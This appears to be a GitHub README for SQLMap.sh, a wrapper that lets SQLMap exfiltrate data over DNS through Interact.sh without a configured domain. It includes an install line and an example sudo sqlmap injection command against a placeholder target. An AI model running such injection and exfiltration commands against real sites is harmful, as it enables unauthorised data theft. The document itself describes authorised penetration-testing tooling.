Go Report Card License GitHub release (latest by date) Made by π Unlock Security
SQLMap.sh is a SQLMap wrapper that lets you use Interact.sh as a DNS server for exfiltrating data with zero configuration.
To use the SQLMap --dns-domain flag you need to open your port 53 to the internet to let it run its own DNS server and you need a properly configured domain. This is not always possible during a penetration test engagement or maybe you just don't want to buy a domain for this.
SQLMap.sh solves this problem transparently. Just use it as if it is SQLMap and your are done to exfiltrate data via DNS.
Run the following command to install the latest version.
go install github.com/unlock-security/sqlmapsh@latest
Just replace sqlmap with sudo sqlmapsh when you want to use SQLMap with data exfiltration via DNS.
Important
SQLMap requires root privileges to perform data exfiltration via DNS because it needs to bind it's own DNS server locally on port 53
For example:
$ sqlmap -u 'https://www.target.com/page=1' -p page --level=5 --risk=3 --technique=E --bannerBecome:
$ sudo sqlmapsh -u 'https://www.target.com/page=1' -p page --level=5 --risk=3 --technique=E --bannerMade with π by Unlock Security